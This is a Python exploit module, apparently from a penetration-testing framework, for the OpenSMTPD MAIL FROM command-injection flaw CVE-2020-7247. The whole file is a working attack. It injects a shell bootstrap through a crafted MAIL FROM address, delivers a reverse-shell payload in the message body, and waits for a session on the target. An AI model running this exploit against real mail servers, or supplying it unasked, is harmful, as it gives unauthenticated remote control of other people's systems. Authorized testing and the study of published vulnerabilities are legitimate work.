OpenSMTPD - Unauthenticated RCE via MAIL FROM (CVE-2020-7247)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""OpenSMTPD unauthenticated RCE via MAIL FROM injection (CVE-2020-7247)."""

import time

from kittysploit import *
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client
from lib.scanner.smtp.detectors import (
    probe_opensmtpd_cve_2020_7247,
    recv_smtp,
    send_smtp,
    smtp_session,
)


class Module(Exploit, Tcp_scanner_client):
    __info__ = {
        'name': 'OpenSMTPD - Unauthenticated RCE via MAIL FROM (CVE-2020-7247)',
        'description': (
            'Exploits OpenSMTPD CVE-2020-7247 (Qualys) by injecting a shell via a crafted '
            'MAIL FROM address, then delivering a reverse CMD payload in the message DATA. '
            'Waits for a reverse shell session.'
        ),
        'author': ['Qualys', 'KittySploit Team'],
        'cve': ['CVE-2020-7247'],
        'platform': Platform.LINUX,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt',
            'https://poolp.org/posts/2020-01-30/opensmtpd-advisory-dissected/',
            'https://nvd.nist.gov/vuln/detail/CVE-2020-7247',
        ],
        'tags': ['opensmtpd', 'smtp', 'rce', 'cmdi', 'unauth', 'kev', 'cve-2020-7247'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 6,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.6,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'scanner/tcp/cve_2020_7247_detect',
                    'post/shell/multi/gather/privesc_suggester',
                ],
            },
        },
    }

    port = OptPort(25, 'SMTP port', True)
    rcpt_to = OptString(
        'root',
        'Local recipient accepted by OpenSMTPD (RCPT TO)',
        required=True,
    )
    helo_name = OptString('kittysploit.local', 'HELO hostname', required=False)

    def check(self):
        host = self._host()
        port = self._port()
        if not host:
            return {
                'vulnerable': False,
                'reason': 'No target host configured',
                'confidence': 'low',
            }
        info = probe_opensmtpd_cve_2020_7247(
            host=host,
            port=port,
            timeout=max(self._timeout(), 8.0),
            helo_name=str(self.helo_name or 'kittysploit.local'),
        )
        if info.get('vulnerable'):
            return {
                'vulnerable': True,
                'reason': 'Crafted MAIL FROM accepted (CVE-2020-7247)',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': info.get('error') or 'Crafted MAIL FROM rejected',
            'confidence': 'medium' if info.get('detected') else 'low',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('A reverse CMD payload is required to open a session')
            return False

        rcpt = str(self.rcpt_to or '').strip()
        if not rcpt:
            print_error('Set rcpt_to to a local mailbox accepted by OpenSMTPD')
            return False

        host = self._host()
        port = self._port()
        if not host:
            print_error('No target host configured')
            return False

        # Qualys technique: MAIL FROM spawns a shell that reads past headers, then runs bash.
        mail_from = (
            'MAIL FROM:<;for d in x t J z 5 o N G K 9 3 B 1 n Y;do read d;done;bash;exit 0;>'
        )
        padding = '\n'.join(['#'] * 15)
        data_body = f'{padding}\n{payload_cmd}\n.\n'

        sock = None
        try:
            print_status(f'Connecting to OpenSMTPD {host}:{port}...')
            sock = smtp_session(host, port, max(self._timeout(), 15.0))
            banner = recv_smtp(sock)
            print_info(f'Banner: {banner.strip()[:120]}')

            send_smtp(sock, f'HELO {self.helo_name or "kittysploit.local"}')
            helo = recv_smtp(sock)
            if '250' not in helo:
                print_error(f'HELO failed: {helo.strip()[:120]}')
                self.not_vulnerable()
                return False

            print_status('Sending crafted MAIL FROM (shell bootstrap)...')
            send_smtp(sock, mail_from)
            mail = recv_smtp(sock)
            if '250' not in mail:
                print_error(f'MAIL FROM rejected: {mail.strip()[:120]}')
                self.not_vulnerable()
                return False

            send_smtp(sock, f'RCPT TO:<{rcpt}>')
            rcpt_resp = recv_smtp(sock)
            if '250' not in rcpt_resp:
                print_error(f'RCPT TO rejected: {rcpt_resp.strip()[:120]}')
                print_error('Try a valid local recipient (e.g. root, or user@hostname)')
                return False

            send_smtp(sock, 'DATA')
            data_resp = recv_smtp(sock)
            if not data_resp.startswith('354'):
                print_error(f'DATA not accepted: {data_resp.strip()[:120]}')
                return False

            print_status('Delivering reverse payload in DATA (await shell session)...')
            sock.sendall(data_body.encode('ascii', errors='ignore'))
            time.sleep(0.2)
            try:
                sock.settimeout(2)
                recv_smtp(sock)
            except Exception:
                pass

            print_success('Payload delivered; waiting for reverse shell session')
            return True
        except Exception as exc:
            print_error(f'Exploit failed: {exc}')
            return False
        finally:
            if sock is not None:
                try:
                    sock.close()
                except Exception:
                    pass